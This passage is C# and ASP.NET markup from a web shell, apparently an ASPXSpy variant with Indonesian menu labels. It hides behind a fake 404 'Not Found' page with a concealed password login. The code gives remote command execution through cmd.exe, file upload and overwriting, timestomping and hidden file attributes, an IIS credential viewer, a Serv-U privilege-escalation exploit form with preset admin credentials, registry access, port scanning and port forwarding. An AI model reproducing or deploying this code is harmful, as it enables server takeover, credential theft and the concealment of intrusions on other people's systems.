  1802. PortForward gYP=new PortForward();
  1803. gYP.lyTOK();
  1804. }
  1805. protected void ruQO()
  1806. {
  1807. PortForward gYP=new PortForward();
  1808. gYP.Start(llH.Value,int.Parse(ZHS.Value),eEpm.Value,int.Parse(iXdh.Value));
  1809. }
  1810. public string mRDl(string instr)
  1811. {
  1812. string tmp=null;
  1813. try
  1814. {
  1815. tmp=System.Net.Dns.Resolve(instr).AddressList[0].ToString();
  1816. }
  1817. catch(Exception e)
  1818. {
  1819. }
  1820. return tmp;
  1821. }
  1822. public void VikG()
  1823. {
  1824. string[] OTV=lOmX.Text.ToString().Split(',');
  1825. for(int i=0;i<OTV.Length;i++)
  1826. {
  1827. IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()),Int32.Parse(OTV[i])));
  1828. }
  1829. try
  1830. {
  1831. Thread[] kbXY=new Thread[IVc.Count];
  1832. int sdO=0;
  1833. for(sdO=0;sdO<IVc.Count;sdO++)
  1834. {
  1835. kbXY[sdO]=new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
  1836. kbXY[sdO].Start();
  1837. }
  1838. for(sdO=0;sdO<kbXY.Length;sdO++)
  1839. kbXY[sdO].Join();
  1840. }
  1841. catch
  1842. {
  1843. }
  1844. }
  1845. public class ScanPort
  1846. {
  1847. private string _ip="";
  1848. private int jTdO=0;
  1849. private TimeSpan _timeSpent;
  1850. private string QGcH="Not scanned";
  1851. public string ip
  1852. {
  1853. get { return _ip;}
  1854. }
  1855. public int port
  1856. {
  1857. get { return jTdO;}
  1858. }
  1859. public string status
  1860. {
  1861. get { return QGcH;}
  1862. }
  1863. public TimeSpan timeSpent
  1864. {
  1865. get { return _timeSpent;}
  1866. }
  1867. public ScanPort(string ip,int port)
  1868. {
  1869. _ip=ip;
  1870. jTdO=port;
  1871. }
  1872. public void Scan()
  1873. {
  1874. TcpClient iYap=new TcpClient();
  1875. DateTime qYZT=DateTime.Now;
  1876. try
  1877. {
  1878. iYap.Connect(_ip,jTdO);
  1879. iYap.Close();
  1880. QGcH="<font color=green><b>Open</b></font>";
  1881. }
  1882. catch
  1883. {
  1884. QGcH="<font color=red><b>Close</b></font>";
  1885. }
  1886. _timeSpent=DateTime.Now.Subtract(qYZT);
  1887. }
  1888. }
  1889. public static void YFcNP(System.Web.UI.Page page)
  1890. {
  1891. page.RegisterHiddenField("__EVENTTARGET","");
  1892. page.RegisterHiddenField("__FILE","");
  1893. string s=@"<script language=Javascript>";
  1894. s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  1895. s+=@"{";
  1896. s+=@"var theform=document.forms[0];";
  1897. s+=@"theform.__EVENTTARGET.value=eventTarget;";
  1898. s+=@"theform.__FILE.value=eventArgument;";
  1899. s+=@"theform.submit();";
  1900. s+=@"} ";
  1901. s+=@"</scr"+"ipt>";
  1902. page.RegisterStartupScript("",s);
  1903. }
  1904. protected void PPtK(object sender,EventArgs e)
  1905. {
  1906. WICxe();
  1907. yhv.Visible=true;
  1908. Bin_H2_Title.InnerText="File Search >>";
  1909. NaLJ.Value=Request.PhysicalApplicationPath;
  1910. oJiym.Visible=false;
  1911. }
  1912. protected void NBy(object sender,EventArgs e)
  1913. {
  1914. DirectoryInfo GQMM=new DirectoryInfo(NaLJ.Value);
  1915. if(!GQMM.Exists)
  1916. {
  1917. xseuB("Path invalid ! ");
  1918. return;
  1919. }
  1920. oog(GQMM);
  1921. xseuB("Search completed ! ");
  1922. }
  1923. public void oog(DirectoryInfo dir)
  1924. {
  1925. try
  1926. {
  1927. oJiym.Visible=true;
  1928. foreach(FileInfo Bin_Files in dir.GetFiles())
  1929. {
  1930. try
  1931. {
  1932. if(Bin_Files.FullName==Request.PhysicalPath)
  1933. {
  1934. continue;
  1935. }
  1936. if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+UDLvA.Value+")$",RegexOptions.IgnoreCase))
  1937. {
  1938. continue;
  1939. }
  1940. if(Ven.SelectedItem.Value=="name")
  1941. {
  1942. if(rAQ.Checked)
  1943. {
  1944. if(Regex.IsMatch(Bin_Files.Name,iaMKl.Value,RegexOptions.IgnoreCase))
  1945. {
  1946. FJvQ(Bin_Files);
  1947. }
  1948. }
  1949. else
  1950. {
  1951. if(Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  1952. {
  1953. Response.Write(Bin_Files.FullName);
  1954. FJvQ(Bin_Files);
  1955. }
  1956. }
  1957. }
  1958. else
  1959. {
  1960. StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  1961. string ava=sr.ReadToEnd();
  1962. sr.Close();
  1963. if(rAQ.Checked)
  1964. {
  1965. if(Regex.IsMatch(ava,iaMKl.Value,RegexOptions.IgnoreCase))
  1966. {
  1967. FJvQ(Bin_Files);
  1968. if(YZw.Checked)
  1969. {
  1970. ava=Regex.Replace(ava,iaMKl.Value,qPe.Value,RegexOptions.IgnoreCase);
  1971. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1972. sw.Write(ava);
  1973. sw.Close();
  1974. }
  1975. }
  1976. }
  1977. else
  1978. {
  1979. if(ava.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
  1980. {
  1981. FJvQ(Bin_Files);
  1982. if(YZw.Checked)
  1983. {
  1984. ava=Strings.Replace(ava,iaMKl.Value,qPe.Value,1,-1,CompareMethod.Text);
  1985. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1986. sw.Write(ava);
  1987. sw.Close();
  1988. }
  1989. }
  1990. }
  1991. }
  1992. }
  1993. catch(Exception ex)
  1994. {
  1995. xseuB(ex.Message);
  1996. continue;
  1997. }
  1998. }
  1999. foreach(DirectoryInfo subdir in dir.GetDirectories())
  2000. {
  2001. oog(subdir);
  2002. }
  2003. }
  2004. catch(Exception ex)
  2005. {
  2006. xseuB(ex.Message);
  2007. }
  2008. }
  2009. public void FJvQ(FileInfo objfile)
  2010. {
  2011. TableRow tr=new TableRow();
  2012. TableCell tc=new TableCell();
  2013. string bg=OKM();
  2014. tr.Attributes["onmouseover"]="this.className='focus';";
  2015. tr.CssClass=bg;
  2016. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  2017. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')\">"+objfile.FullName+"</a>";
  2018. tr.Cells.Add(tc);
  2019. tc=new TableCell();
  2020. tc.Text=objfile.LastWriteTime.ToString();
  2021. tr.Cells.Add(tc);
  2022. tc=new TableCell();
  2023. tc.Text=mTG(objfile.Length);
  2024. tr.Cells.Add(tc);
  2025. oJiym.Rows.Add(tr);
  2026. }
  2027. public void xseuB(string instr)
  2028. {
  2029. jDKt.Visible=true;
  2030. jDKt.InnerText=instr;
  2031. }
  2032. protected void xVm(object sender,EventArgs e)
  2033. {
  2034. string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();
  2035. if(Jfm==Password)
  2036. {
  2037. Response.Cookies.Add(new HttpCookie(vbhLn,Password));
  2038. ljtzC.Visible=false;
  2039. PBZw();
  2040. }
  2041. else
  2042. {
  2043. tZSx();
  2044. }
  2045. }
  2046. protected void Ybg(object sender,EventArgs e)
  2047. {
  2048. krIR(Server.MapPath("."));
  2049. }
  2050. protected void KjPi(object sender,EventArgs e)
  2051. {
  2052. Bin_H2_Title.InnerText="IIS Spy >>";
  2053. WICxe();
  2054. VNR.Visible=true;
  2055. AdCx();
  2056. }
  2057. protected void DGCoW(object sender,EventArgs e)
  2058. {
  2059. try
  2060. {
  2061. StreamWriter sw;
  2062. if(NdCX.SelectedItem.Text=="UTF-8")
  2063. {
  2064. sw=new StreamWriter(Sqon.Value,false,Encoding.UTF8);
  2065. }
  2066. else
  2067. {
  2068. sw=new StreamWriter(Sqon.Value,false,Encoding.Default);
  2069. }
  2070. sw.Write(Xgvv.InnerText);
  2071. sw.Close();
  2072. xseuB("Save file success !");
  2073. }
  2074. catch(Exception error)
  2075. {
  2076. xseuB(error.Message);
  2077. }
  2078. krIR(AXSbb.Value);
  2079. }
  2080. protected void lbjLD(object sender,EventArgs e)
  2081. {
  2082. string FlwA=AXSbb.Value;
  2083. FlwA=OElM(FlwA);
  2084. try
  2085. {
  2086. Fhq.PostedFile.SaveAs(FlwA+Path.GetFileName(Fhq.Value));
  2087. xseuB("File upload success!");
  2088. }
  2089. catch(Exception error)
  2090. {
  2091. xseuB(error.Message);
  2092. }
  2093. krIR(AXSbb.Value);
  2094. }
  2095. protected void EXV(object sender,EventArgs e)
  2096. {
  2097. krIR(AXSbb.Value);
  2098. }
  2099. protected void mcCY(object sender,EventArgs e)
  2100. {
  2101. krIR(Server.MapPath("."));
  2102. }
  2103. protected void iVk(object sender,CommandEventArgs e)
  2104. {
  2105. krIR(e.CommandArgument.ToString());
  2106. }
  2107. protected void XXrLw(object sender,EventArgs e)
  2108. {
  2109. try
  2110. {
  2111. File.SetCreationTimeUtc(QiFB.Value,File.GetCreationTimeUtc(lICp.Value));
  2112. File.SetLastAccessTimeUtc(QiFB.Value,File.GetLastAccessTimeUtc(lICp.Value));
  2113. File.SetLastWriteTimeUtc(QiFB.Value,File.GetLastWriteTimeUtc(lICp.Value));
  2114. xseuB("File time clone success!");
  2115. }
  2116. catch(Exception error)
  2117. {
  2118. xseuB(error.Message);
  2119. }
  2120. krIR(AXSbb.Value);
  2121. }
  2122. protected void tIykC(object sender,EventArgs e)
  2123. {
  2124. string path=pWVL.Value;
  2125. try
  2126. {
  2127. File.SetAttributes(path,FileAttributes.Normal);
  2128. if(ZhWSK.Checked)
  2129. {
  2130. File.SetAttributes(path,FileAttributes.ReadOnly);
  2131. }
  2132. if(SsR.Checked)
  2133. {
  2134. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  2135. }
  2136. if(ccB.Checked)
  2137. {
  2138. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  2139. }
  2140. if(fbyZ.Checked)
  2141. {
  2142. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  2143. }
  2144. File.SetCreationTimeUtc(path,Convert.ToDateTime(yUqx.Value));
  2145. File.SetLastAccessTimeUtc(path,Convert.ToDateTime(aLsn.Value));
  2146. File.SetLastWriteTimeUtc(path,Convert.ToDateTime(uYjw.Value));
  2147. xseuB("File attributes modify success!");
  2148. }
  2149. catch(Exception error)
  2150. {
  2151. xseuB(error.Message);
  2152. }
  2153. krIR(AXSbb.Value);
  2154. }
  2155. protected void VOxn(object sender,EventArgs e)
  2156. {
  2157. WICxe();
  2158. vIac.Visible=true;
  2159. Bin_H2_Title.InnerText="Execute Command >>";
  2160. }
  2161. protected void FbhN(object sender,EventArgs e)
  2162. {
  2163. try
  2164. {
  2165. Process ahAE=new Process();
  2166. ahAE.StartInfo.FileName=kusi.Value;
  2167. ahAE.StartInfo.Arguments=bkcm.Value;
  2168. ahAE.StartInfo.UseShellExecute=false;
  2169. ahAE.StartInfo.RedirectStandardInput=true;
  2170. ahAE.StartInfo.RedirectStandardOutput=true;
  2171. ahAE.StartInfo.RedirectStandardError=true;
  2172. ahAE.Start();
  2173. string Uoc=ahAE.StandardOutput.ReadToEnd();
  2174. Uoc=Uoc.Replace("<","&lt;");
  2175. Uoc=Uoc.Replace(">","&gt;");
  2176. Uoc=Uoc.Replace("\r\n","<br>");
  2177. tnQRF.Visible=true;
  2178. tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
  2179. }
  2180. catch(Exception error)
  2181. {
  2182. xseuB(error.Message);
  2183. }
  2184. }
  2185. protected void RAFL(object sender,EventArgs e)
  2186. {
  2187. if(qPdI.Text.Length>0)
  2188. {
  2189. tpRQ(qPdI.Text);
  2190. }
  2191. else
  2192. {
  2193. lFAvw();
  2194. }
  2195. }
  2196. protected void Grxk(object sender,EventArgs e)
  2197. {
  2198. YUw();
  2199. }
  2200. protected void ilC(object sender,EventArgs e)
  2201. {
  2202. tZRH();
  2203. }
  2204. protected void HtB(object sender,EventArgs e)
  2205. {
  2206. pDVM();
  2207. }
  2208. protected void Olm(object sender,EventArgs e)
  2209. {
  2210. iLVUT();
  2211. }
  2212. protected void jXhS(object sender,EventArgs e)
  2213. {
  2214. ADCpk();
  2215. }
  2216. protected void lRfRj(object sender,EventArgs e)
  2217. {
  2218. lDODR();
  2219. }
  2220. protected void xSy(object sender,EventArgs e)
  2221. {
  2222. xFhz();
  2223. }
  2224. protected void dMx(object sender,EventArgs e)
  2225. {
  2226. rAhe();
  2227. }
  2228. protected void zOVO(object sender,EventArgs e)
  2229. {
  2230. if(((DropDownList)sender).ID.ToString()=="WYmo")
  2231. {
  2232. dQIIF.Visible=false;
  2233. MasR.Text=WYmo.SelectedItem.Value.ToString();
  2234. }
  2235. if(((DropDownList)sender).ID.ToString()=="Pvf")
  2236. {
  2237. xTZY();
  2238. }
  2239. if(((DropDownList)sender).ID.ToString()=="FGEy")
  2240. {
  2241. jHIy.InnerText=FGEy.SelectedItem.Value.ToString();
  2242. }
  2243. if(((DropDownList)sender).ID.ToString()=="NdCX")
  2244. {
  2245. gLKc(Sqon.Value);
  2246. }
  2247. }
  2248. protected void IkkO(object sender,EventArgs e)
  2249. {
  2250. krIR(AXSbb.Value);
  2251. }
  2252. protected void BGY(object sender,EventArgs e)
  2253. {
  2254. vCf();
  2255. }
  2256. protected void cptS(object sender,EventArgs e)
  2257. {
  2258. vNCHZ();
  2259. }
  2260. protected void fDO(object sender,EventArgs e)
  2261. {
  2262. MHLv();
  2263. }
  2264. protected void vJNsE(object sender,EventArgs e)
  2265. {
  2266. vuou();
  2267. xseuB("Clear All Thread ......");
  2268. }
  2269. protected void wDZ(object sender,EventArgs e)
  2270. {
  2271. if(iXdh.Value=="" || eEpm.Value.Length<7 || ZHS.Value=="")return;
  2272. ruQO();
  2273. xseuB("All Thread Start ......");
  2274. }
  2275. protected void tYoZ(object sender,EventArgs e)
  2276. {
  2277. }
  2278. protected void ELkQ(object sender,EventArgs e)
  2279. {
  2280. VikG();
  2281. GBYT.Visible=true;
  2282. string res=string.Empty;
  2283. foreach(ScanPort th in IVc)
  2284. {
  2285. res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
  2286. }
  2287. GBYT.InnerHtml=res;
  2288. }
  2289. protected void ORUgV(object sender,EventArgs e)
  2290. {
  2291. dwgT();
  2292. }
  2293. public void WICxe()
  2294. {
  2295. DCbS.Visible=false;
  2296. CzfO.Visible=false;
  2297. APl.Visible=false;
  2298. vIac.Visible=false;
  2299. kkHN.Visible=false;
  2300. YwLB.Visible=false;
  2301. iDgmL.Visible=false;
  2302. hOWTm.Visible=false;
  2303. vrFA.Visible=false;
  2304. yhv.Visible=false;
  2305. }
  2306. </script>
  2307. <html xmlns="http://www.w3.org/1999/xhtml" >
  2308. <head id="Head1" runat="server">
  2309. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  2310. <title>Not Found</title>
  2311. <style type="text/css">
  2312. .Bin_Style_Login{font:11px Verdana color:#FFFFFF;BACKGROUND: #FFFFFF;border: 1px solid #FFFFFF;}
  2313. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
  2314. .list{font:12px Arial,Tahoma;height:23px;}
  2315. .area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  2316. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  2317. a {color: #00f;text-decoration:underline;}
  2318. a:hover{color: #f00;text-decoration:none;}
  2319. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#FFFFFF;padding:5px 10px 5px 5px;}
  2320. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;}
  2321. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  2322. .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;}
  2323. .head td span{font-weight:normal;}
  2324. form{margin:0;padding:0;}
  2325. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  2326. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  2327. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  2328. .u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  2329. .u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;}
  2330. </style>
  2331. <script type="text/javascript">
  2332. function CheckAll(form){
  2333. for(var i=0;i<form.elements.length;i++){
  2334. var e=form.elements[i];
  2335. if(e.name!='chkall')
  2336. e.checked=form.chkall.checked;
  2337. }
  2338. }
  2339. </script>
  2340. </head>
  2341. <body style="margin:0;table-layout:fixed;">
  2342. <form id="ASPXSpy" runat="server">
  2343. <div id="ljtzC" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
  2344. <h1>Not Found</h1>
  2345. <p>The requested URL /wksid.aspx was not found on this server.</p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
  2346. <center><asp:TextBox ID="HRJ" runat="server" Columns="20" CssClass="Bin_Style_Login" ></asp:TextBox>
  2347. <asp:Button ID="ZSnXu" runat="server" Text="" CssClass="Bin_Style_Login" OnClick="xVm"/></center><p/>
  2348. </div>
  2349. <div id="ZVS" runat="server">
  2350. <div id="Zzj" runat="server">
  2351. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  2352. <tr class="head">
  2353. <td ><span style="float:right;"><a href="https://www.facebook.com/tytydmeledak" target="_blank">Secret Code Army x Suram-Crew @ Jayalah Indonesiaku</a></span><span id="miansha2" runat="server" enableviewstate="true"></span></td>
  2354. </tr>
  2355. <tr class="alt1">
  2356. <td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
  2357. <asp:LinkButton ID="UtkN" runat="server" OnClick="YKpI" Text="Keluar" ></asp:LinkButton> | <asp:LinkButton ID="RsqhW" runat="server" Text="Pengelola Berkas" OnClick="Ybg"></asp:LinkButton> | <asp:LinkButton ID="xxzE" runat="server" Text="Shell CMD" OnClick="VOxn"></asp:LinkButton> | <asp:LinkButton ID="nuc" runat="server" Text="Kamar Sebelah" OnClick="KjPi"></asp:LinkButton> | <asp:LinkButton ID="OREpx" runat="server" Text="Proses" OnClick="Grxk"></asp:LinkButton> | <asp:LinkButton ID="jHN" runat="server" Text="Layanan" OnClick="ilC"></asp:LinkButton> | <asp:LinkButton ID="PHq" runat="server" Text="Profil Pengguna" OnClick="Olm"></asp:LinkButton><br><asp:LinkButton ID="wmgnK" runat="server" Text="Info Sys" OnClick="HtB"></asp:LinkButton> | <asp:LinkButton ID="FeV" runat="server" Text="Cari Berkas" OnClick="PPtK"></asp:LinkButton> | <asp:LinkButton ID="PVQ" runat="server" Text="SU Exp" OnClick="jXhS"></asp:LinkButton> | <asp:LinkButton ID="jNDb" runat="server" Text="Shell Reg" OnClick="xSy"></asp:LinkButton> | <asp:LinkButton ID="HDQ" runat="server" Text="Pemeriksa Port" OnClick="cptS" ></asp:LinkButton> | <asp:LinkButton ID="AoI" runat="server" Text="Database" OnClick="dMx"></asp:LinkButton> | <asp:LinkButton ID="KHbEd" runat="server" Text="Peta Port" OnClick="fDO"></asp:LinkButton>
  2358. </td>
  2359. </tr>
  2360. </table>
  2361. </div>
  2362. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  2363. <div id="jDKt" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
  2364. <h2 id="Bin_H2_Title" runat="server"></h2>
  2365. <%--FileList--%>
  2366. <div id="CzfO" runat="server">
  2367. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2368.  <tr>
  2369. <td style=" white-space:nowrap">Direktori Saat Ini :</td>
  2370. <td style=" width:100%"><input class="input" id="AXSbb" type="text" style="width:97%;margin:0 8px;" runat="server"/>
  2371. </td>
  2372. <td style="white-space:nowrap" ><asp:Button ID="xaGwl" runat="server" Text="Buka" CssClass="bt" OnClick="EXV"/></td>
  2373.  </tr>
  2374. </table>
  2375. <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2376. <tr class="alt1"><td colspan="7" style="padding:5px;">
  2377. <div style="float:right;"><input id="Fhq" class="input" runat="server" type="file" style=" height:22px"/>
  2378. <asp:Button ID="RvPp" CssClass="bt" runat="server" Text="Unggah" OnClick="lbjLD"/></div><asp:LinkButton ID="OLJFp" runat="server" Text="Web Akar" OnClick="mcCY"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">Buat Direktori</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Buat Berkas</a>
  2379.  | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a>
  2380. </td></tr>
  2381. <asp:Table ID="UGzP" runat="server" Width="100%" CellSpacing="0" >
  2382. <asp:TableRow CssClass="head"><asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>Nama Berkas</asp:TableCell><asp:TableCell Width="25%">Terakhir Diubah</asp:TableCell><asp:TableCell Width="15%">Ukuran</asp:TableCell><asp:TableCell Width="25%">Tindakan</asp:TableCell></asp:TableRow>
  2383. </asp:Table>
  2384. </table>
  2385. </div>
  2386. <%--FileEdit--%>
  2387. <div id="vrFA" runat="server">
  2388. <p>Current File(import new file name and new file)<br/>
  2389. <input class="input" id="Sqon" type="text" size="100" runat="server"/> <asp:DropDownList ID="NdCX" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="zOVO"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList>
  2390. </p>
  2391. <p>File Content<br/>
  2392. <textarea id="Xgvv" runat="server" class="area" cols="100" rows="25" enableviewstate="true" ></textarea>
  2393. </p>
  2394. <p><asp:Button ID="JJjbW" runat="server" Text="Submit" CssClass="bt" OnClick="DGCoW"/> <asp:Button ID="iCNu" runat="server" Text="Back" CssClass="bt" OnClick="IkkO"/></p>
  2395. </div>
  2396. <%--CloneTime--%>
  2397. <div id="zRyG" runat="server" enableviewstate="false" visible="false">
  2398. <p>Alter file<br/><input class="input" id="QiFB" type="text" size="120" runat="server"/></p>
  2399. <p>Reference file(fullpath)<br/><input class="input" id="lICp" type="text" size="120" runat="server"/></p>
  2400. <p><asp:Button ID="JEaxV" runat="server" Text="Submit" CssClass="bt" OnClick="XXrLw"/></p>
  2401. <h2>Set last modified &raquo;</h2>
  2402. <p>Current file(fullpath)<br/><input class="input" id="pWVL" type="text" size="120" runat="server"/></p>
  2403. <p>
  2404. <asp:CheckBox ID="ZhWSK" runat="server" Text="ReadOnly" EnableViewState="False"/>
  2405. &nbsp;
  2406. <asp:CheckBox ID="SsR" runat="server" Text="System" EnableViewState="False"/>
  2407. &nbsp;
  2408. <asp:CheckBox ID="ccB" runat="server" Text="Hidden" EnableViewState="False"/>
  2409. &nbsp;
  2410. <asp:CheckBox ID="fbyZ" runat="server" Text="Archive" EnableViewState="False"/>
  2411. </p>
  2412. <p>
  2413. CreationTime :
  2414. <input class="input" id="yUqx" type="text" runat="server"/>
  2415. LastWriteTime :
  2416. <input class="input" id="uYjw" type="text" runat="server"/>
  2417. LastAccessTime :
  2418. <input class="input" id="aLsn" type="text" runat="server"/>
  2419. </p>
  2420. <p>
  2421. <asp:Button ID="kOG" CssClass="bt" runat="server" Text="Submit" OnClick="tIykC"/>
  2422. </p>
  2423. </div>
  2424. <%--IISSpy--%>
  2425. <div runat="server" id="VNR" visible="false" enableviewstate="false">
  2426. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2427. <asp:Table ID="GlI" runat="server" Width="100%" CellSpacing="0">
  2428. <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2429. </asp:Table>
  2430. </table>
  2431. </div>
  2432. <%--Process--%>
  2433. <div runat="server" id="DCbS" visible="false" enableviewstate="false">
  2434. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2435. <asp:Table ID="IjsL" runat="server" Width="100%" CellSpacing="0" >
  2436. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Process</asp:TableCell><asp:TableCell>ThreadCount</asp:TableCell><asp:TableCell>Priority</asp:TableCell><asp:TableCell>Action</asp:TableCell></asp:TableRow>
  2437. </asp:Table>
  2438. </table>
  2439. </div>
  2440. <%--CmdShell--%>
  2441. <div runat="server" id="vIac">
  2442.  <p>CmdPath:<br/>
  2443.  <input class="input" runat="server" id="kusi" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
  2444.  </p>
  2445.  Argument:<br/>
  2446.  <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100"/> <asp:Button ID="YrqL" CssClass="bt" runat="server" Text="Submit" OnClick="FbhN"/>
  2447.  <div id="tnQRF" runat="server" visible="false" enableviewstate="false">
  2448.  </div>
  2449. </div>
  2450. <%--Services--%>
  2451. <div runat="server" id="iQxm" visible ="false" enableviewstate="false">
  2452. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2453. <asp:Table ID="vHCs" runat="server" Width="100%" CellSpacing="0" >
  2454. <asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell>ID</asp:TableCell><asp:TableCell>Name</asp:TableCell><asp:TableCell>Path</asp:TableCell><asp:TableCell>State</asp:TableCell><asp:TableCell>StartMode</asp:TableCell></asp:TableRow>
  2455. </asp:Table>
  2456. </table>
  2457. </div>
  2458. <%--Sysinfo--%>
  2459. <div runat="server" id="ghaB" visible="false" enableviewstate="false">
  2460. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2461. <ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
  2462. <h2 id="Bin_H2_Mac" runat="server"></h2>
  2463. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2464. <ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
  2465. <h2 id="Bin_H2_Driver" runat="server"></h2>
  2466. <hr style=" border: 1px solid #ddd;height:0px;"/>
  2467. <ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
  2468. </div>
  2469. <%--UserInfo--%>
  2470. <div runat="server" id="xWVQ" visible="false" enableviewstate="false">
  2471. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2472. <asp:Table ID="VPa" runat="server" Width="100%" CellSpacing="0" >
  2473. </asp:Table>
  2474. </table>
  2475. </div>
  2476. <%--SuExp--%>
  2477.  <div runat="server" id="APl">
  2478. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2479.  <tr align="center">
  2480.  <td style="width:10%"></td>
  2481.  <td style="width:20%" align="left">UserName : <input class="input" runat="server" id="dNohJ" type="text" size="20" value="localadministrator"/></td>
  2482.  <td style="width:20%" align="left">PassWord : <input class="input" runat="server" id="NMd" type="text" size="20" value="#l@$ak#.lk;0@P"/></td>
  2483.  <td style="width:20%" align="left">Port : <input class="input" runat="server" id="HlQl" type="text" size="20" value="43958"/></td>
  2484.  <td style="width:10%"></td>
  2485.  </tr>
  2486.  <tr >
  2487.  <td style="width:10%"></td>
  2488.  <td colspan="5">CmdShell&nbsp;&nbsp;:&nbsp;<input class="input" runat="server" id="mHbjB" type="text" size="100" value="cmd.exe /c net user"/> <asp:Button ID="SPhc" CssClass="bt" runat="server" Text="Exploit" OnClick="lRfRj"/></td>
  2489.  </tr>
  2490. </table>
  2491. <div id="UHlA" visible="false" enableviewstate="false" runat="server">
  2492. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2493. <tr align="center">
  2494. <td style="width:30%"></td>
  2495. <td align="left" style="width:40%"><pre id="Bin_Td_Res" runat="server"></pre></td>
  2496. <td style="width:30%"></td>
  2497. </tr>
  2498. </table>
  2499. </div>
  2500. </div>
  2501. <%--Reg--%>
  2502. <div id="kkHN" runat="server">
  2503. <p>Registry Path : <asp:TextBox id="qPdI" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="MoNA" runat="server" Text="Go" CssClass="bt" onclick="RAFL"/></p>
  2504. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2505. <asp:Table ID="pLWD" runat="server" Width="100%" CellSpacing="0" >
  2506. <asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="vyX"></asp:TableCell></asp:TableRow>
  2507. <asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>
  2508. </asp:Table>
  2509. </table>
  2510. </div>
  2511. <%--PortScan--%>
  2512. <div id="YwLB" runat="server">
  2513. <p>
  2514. IP : <asp:TextBox id="MdR" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> Port : <asp:TextBox id="lOmX" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="CmUCh" runat="server" Text="Scan" CssClass="bt" OnClick="ELkQ"/>
  2515. </p>
  2516. <div id="GBYT" runat="server" visible="false" enableviewstate="false"></div>
  2517. </div>
